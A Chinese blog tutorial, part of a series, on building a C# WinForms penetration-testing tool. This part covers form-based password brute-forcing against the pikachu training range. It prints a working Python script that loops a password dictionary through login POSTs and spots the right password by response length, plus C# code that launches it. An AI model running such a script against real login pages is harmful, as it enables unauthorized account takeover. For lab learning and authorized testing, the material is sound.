使用C#winform编写渗透测试工具--暴力破解

这篇文章主要介绍使用C#winform编写渗透测试工具--暴力破解。暴力破解是指通过利用大量猜测和穷举的方式来尝试获取用户口令的攻击方式。简单来说就是猜口令,攻击者一直枚举发送请求,因为爆破成功和失败的长度是不一样的,所以可以通过对比数据包的长度很好的判断是否爆破成功。通过python编写爆破脚本,再通过C#winform调用.py脚本进行爆破。

  • 下面就是使用C#winform编写的渗透测试工具,前面我们已经完成了端口扫描和敏感目录扫描的工作,这一部分将介绍暴力破解部分。

  • 使用pikachu靶场环境进行实验,如今通常是使用BurpSuit的Intruder模块来进行暴力破解,网上也有很多教程,这里我们通过自己编写软件进行暴力破解,靶场环境的搭建步骤可以参考https://blog.csdn.net/guo_yan_gy/article/details/103566638这篇文章,搭建后打开浏览器输入网址进入靶场。


目录

  1. 实现原理
  2. 代码实现
  3. 使用步骤

一、实现原理

暴力破解分为基于表单的暴力破解、基于验证码的暴力破解和基于Token破解,这里主要实现基于表单的暴力破解。

  • 首先需要一个密码字典,可以通过自己收集,也可以在网上下载。

  • 一般进行密码爆破时,都是知道账户的而不知道密码,但如果两个都不知道,一般先爆破账户。爆破账户的原理是根据在输入账号后反馈的消息来进行确认,这里主要进行密码爆破。
  • 使用python编写脚本调用字典进行密码爆破,根据返回的结果的长度判断爆破的结果(错误的密码返回的结果的信息是一样的,长度也是一样的,正确密码返回的结果和其他的返回结果不同,所以只需要找到返回结果长度和其他不一样的密码即可,该密码就是正确密码)。

二、代码实现

python实现密码暴力破解

# conding=utf-8
import requests
import sys # 此处添加header
header = """
Host: 10.16.53.180
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:90.0) Gecko/20100101 Firefox/90.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 38
Origin: http://10.16.53.180
Connection: close
Referer: http://10.16.53.180/pikachu/vul/burteforce/bf_form.php
Cookie: PHPSESSID=1g0kj04uc3ahskoaubeqpgud56
Upgrade-Insecure-Requests: 1
""" def get_headers(url, test):
headers = dict(line.split(": ", 1) for line in header.split("\n") if line != '') # 通过原生请求头获取请求头字典
f = open("password.txt", "r") # 打开字典
pwds = f.readlines()
print("响应时间:")
for pwd in pwds:
url = url
# url = 'http://10.16.53.180/pikachu/vul/burteforce/bf_form.php'
values = {
'username': test,
'password': pwd[0:-1],
'submit': 'Login',
}
req = requests.post(url=url, headers=headers, data=values) # 发送post请求
print(pwd[0:-1]+'-->', len(req.text)) # 返回结果 get_headers(sys.argv[1], sys.argv[2])

C#调用脚本

对于python脚本中包含第三方模块的情况,同样,通过直接创建Process进程,调用python脚本,返回扫描结果。

  • 创建按钮按下事件button1_Click,运行“调用python脚本”函数runPythonPassword()
private void button6_Click(object sender, EventArgs e)
{
richTextBox3.Clear();
runPythonPassword();//运行python函数
label19.Text = "开始扫描...";
}
  • 实例化一个python进程 调用.py 脚本
void runPythonPassword()
{ string url ="http://10.16.53.180/pikachu/vul/burteforce/bf_form.php";
//string headers = richTextBox4.Text;
string username = textBox8.Text;
p = new Process();
string path = "trans_headers.py";//待处理python文件的路径,本例中放在debug文件夹下
string sArguments = path;
ArrayList arrayList = new ArrayList();
arrayList.Add(url);//网站url
//arrayList.Add(headers);//请求头
arrayList.Add(username);//破解的用户名
foreach (var param in arrayList)//拼接参数
{
sArguments += " " + param;
}
//label29.Text = sArguments;
p.StartInfo.FileName = @"D:\Anaconda\python.exe"; //没有配环境变量的话,可以写"xx\xx\python.exe"的绝对路径。如果配了,直接写"python"即可
p.StartInfo.Arguments = sArguments;//python命令的参数
p.StartInfo.UseShellExecute = false;
p.StartInfo.RedirectStandardOutput = true;
p.StartInfo.RedirectStandardInput = true;
p.StartInfo.RedirectStandardError = true;
p.StartInfo.CreateNoWindow = true;
p.StartInfo.WindowStyle = ProcessWindowStyle.Hidden;
p.Start();//启动进程
p.BeginOutputReadLine();
p.OutputDataReceived += new DataReceivedEventHandler(p_OutputDataReceived_password);
Console.ReadLine();
}
  • 输出接收事件函数
void p_OutputDataReceived_password(object sender, DataReceivedEventArgs e)
{
var printedStr = e.Data;
Action at = new Action(delegate ()
{
//接受.py进程打印的字符信息到文本显示框
richTextBox3.AppendText(printedStr + "\n");
label19.Text = "扫描结束";
});
Invoke(at);
}

三、软件使用步骤

  1. 首先在密码框输入任意密码,使用BurpSuit进行抓包。我们发现提交的请求是一个POST请求,账号是admin,密码是123。

  1. 将报文头部复制到python脚本中。

  1. 输入url地址和账户名,点击开始按钮,进行爆破。

  1. 可以看到密码为“abc123”返回的结果的长度和其他的都不一样,由此可以得到账户名为“test”的密码为“abc123”。

5.在靶场中输入账户名:test,密码:abc123,显示登录成功,爆破结束。

github地址:https://github.com/Chenmengx/Penetration-testing-tool

使用C#winform编写渗透测试工具--暴力破解的更多相关文章

  1. #使用C#winform编写渗透测试工具--子域名挖掘

    使用C#winform编写渗透测试工具--子域名挖掘 这篇文章主要介绍使用C#winform编写渗透测试工具--子域名挖掘.在渗透测试中,子域名的收集十分重要,通常一个网站的主站的防御能力特别强,而他 ...

  2. 使用C#winform编写渗透测试工具--敏感目录扫描

    使用C#winform编写渗透测试工具--敏感目录扫描 由于之前在做渗透测试的时候,发现使用的工具较多,切换起来较麻烦,便萌生了开发一个包含各种渗透测试工具的小程序,包括敏感目录扫描.端口查询.子域名 ...

  3. 使用C#winform编写渗透测试工具--Web指纹识别

    使用C#winform编写渗透测试工具--web指纹识别 本篇文章主要介绍使用C#winform编写渗透测试工具--Web指纹识别.在渗透测试中,web指纹识别是信息收集关键的一步,通常是使用各种工具 ...

  4. 使用C#winform编写渗透测试工具--端口扫描

    使用C#winform编写渗透测试工具--端口扫描器 主要介绍使用C#winform编写渗透测试工具--端口扫描器,端口扫描器则是一种检测服务器或者主机虚拟端口是开启或关闭的工具.由于连接到局域网或互 ...

  5. 使用C#winform编写渗透测试工具--SQL注入

    使用C#winform编写渗透测试工具--SQL注入 本篇文章主要介绍使用C#winform编写渗透测试工具,实现SQL注入的功能.使用python编写SQL注入脚本,基于get显错注入的方式进行数据 ...

  6. github渗透测试工具库

    本文作者:Yunying 原文链接:https://www.cnblogs.com/BOHB-yunying/p/11856178.html 导航: 2.漏洞练习平台 WebGoat漏洞练习平台: h ...

  7. github渗透测试工具库[转载]

    前言 今天看到一个博客里有这个置顶的工具清单,但是发现这些都是很早以前就有文章发出来的,我爬下来后一直放在txt里吃土.这里一起放出来. 漏洞练习平台 WebGoat漏洞练习平台:https://gi ...

  8. 轻量级Web渗透测试工具jSQL

    轻量级Web渗透测试工具jSQL jSQL是Kali集成的一款轻量级的Web渗透测试工具.最初该工具主要实施SQL注入,后来增加更多的功能,扩展形成一个综合性的Web渗透测试工具.Kali提供的版本较 ...

  9. 渗透测试工具SQLmap

    一.简介 SQLmap 是一款用 Python 编写的开源渗透测试工具,用来自动检测和利用 SQL 注入漏洞. 二.Windows 下安装 2.1 安装 Python 环境 注:Python 3.0会 ...

随机推荐

  1. Tomcat与spring的类加载器案例

    Tomcat与spring的类加载器案例接下来将介绍<深入理解java虚拟机>一书中的案例,并解答它所提出的问题.(部分类容来自于书中原文) Tomcat中的类加载器在Tomcat目录结构 ...

  2. 进程与线程 .Net Core系列-多线程

    进程与线程 进程: 狭义定义:进程是正在运行的程序的实例 广义定义:进程是一个具有一定独立功能的程序关于某个数据集合的一次运行活动.它是操作系统动态执行的基本单元,在传统的操作系统中,进程既是基本的分 ...

  3. Docker安装运行Portainer

    基本简介 Portainer是一个轻量级的docker环境管理UI,可以用来管理docker宿主机和docker swarm集群.他的轻量级,轻量到只要个不到100M的docker镜像容器就可以完整的 ...

  4. Windows10 上Docker 安装运行Consul

    背景简介 Consul是一种服务网格解决方案,提供具有服务发现,配置和分段功能的全功能控制平面. 这些功能中的每一个都可以根据需要单独使用,也可以一起使用以构建全服务网格. Consul需要数据平面并 ...

  5. 15、linux文件、目录的权限及如何改变权限(root用户不受任何权限的限制)

    15.1.linux普通文件的读.写.执行权限说明: r:读,表示具有读取\阅读文件内容的权限: w:可写,表示具有新增,修改文件内容的权限: 如果没有r配合,那么vi编辑文件会提示无法编辑(但可以强 ...

  6. 16、如何将安装在chrome上的插件(扩展程序)打包成".crx"文件

    1.打开扩展程序: 2.打开开发者模式并选择要打包的插件: 3.打包扩展程序: (1) (2) (3)

  7. 14、WindowsServer修改NTP时间同步服务器

    1. 2. 3.

  8. hdu 6048 Puzzle 拼图 逆序数

    关于拼图和逆序数的关系可以看看这个 http://www.guokr.com/question/579400/ 然后求逆序数在判断就行了 按题意生成原始排列,观察发现,每一轮数后方比该数小的数的数量( ...

  9. 重新整理 .net core 实践篇————缓存相关[四十二]

    前言 简单整理一下缓存. 正文 缓存是什么? 缓存是计算结果的"临时"存储和重复使用 缓存本质是用空间换取时间 缓存的场景: 计算结果,如:反射对象缓存 请求结果,如:DNS 缓存 ...

  10. apache 2.2 静态文件目录的配置

    引用 #禁止使用proxy_ajp代理的目录: ProxyPass /sns/images/ ! #使用proxy_ajp代理:下面的配置,是把所有目录全用代理(当然,还会跟上面的禁用配置组合成完整的 ...